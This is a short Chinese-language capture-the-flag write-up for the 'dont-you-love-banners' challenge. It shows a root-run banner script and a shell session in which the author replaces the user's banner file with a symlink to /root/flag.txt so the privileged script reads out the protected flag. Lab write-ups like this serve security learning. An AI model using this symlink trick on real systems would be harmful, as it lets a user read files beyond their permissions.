跳至主要内容

dont-you-love-banners

非常有水準的一題,一開始 nc 進去機器需要回答問題,把兩台機器都連過一次會知道第一題的密碼,二、三題是資安知識快問快達, Google 會有答案,填 DEFCON 和 John。

回答完問題後會開啟一個 shell ,沒辦法用 sudo 或 vim 等操作,使用者目錄底下有 banner 和 text 兩個檔案,cat 過後會看到一開始登入的 banner 文字,推測應該是有某個程式會讀這個檔案在 banner 印出。另一個檔案叫我挖深一點所有直覺跑去 /root 看看。

banner setup

會在 /root 看到 script.py 和 text.txt ,text.text 我們沒有任何讀取權限所以要用別的方法存取, cat script.py 會發現他真的會去讀使用者目錄的 banner ,詭異的是還有一個 error handel 怕沒有讀到,看起來我們是可以刪掉 /home/player/banner/ 。

if __name__ == "__main__":
try:
with open("/home/player/banner", "r") as f:
print(f.read())
except:
print("*********************************************")
print("***************DEFAULT BANNER****************")
print("*Please supply banner in /home/player/banner*")
print("*********************************************")


然後 banner 還真的被我們刪掉了,接下來我就不知道怎麼幹了,官方提示要我用 ln 這個指令,那就應該是要在使用者家目錄建立連結讓程式去讀 /root/flag.txt ,重新連線 , flag 就取代原本的 banner 印出來了。

player@challenge:~$ ln -s /root/flag.txt banner
ln -s /root/flag.txt banner
player@challenge:~$ ls
ls
banner text
player@challenge:~$ ll
ll
total 16
drwxr-xr-x 1 player player 20 Jul 12 03:41 ./
drwxr-xr-x 1 root root 20 Mar 9 2024 ../
-rw-r--r-- 1 player player 220 Apr 4 2018 .bash_logout
-rw-r--r-- 1 player player 3771 Apr 4 2018 .bashrc
-rw-r--r-- 1 player player 807 Apr 4 2018 .profile
lrwxrwxrwx 1 player player 14 Jul 12 03:41 banner -> /root/flag.txt*
-rw-r--r-- 1 root root 13 Feb 7 2024 text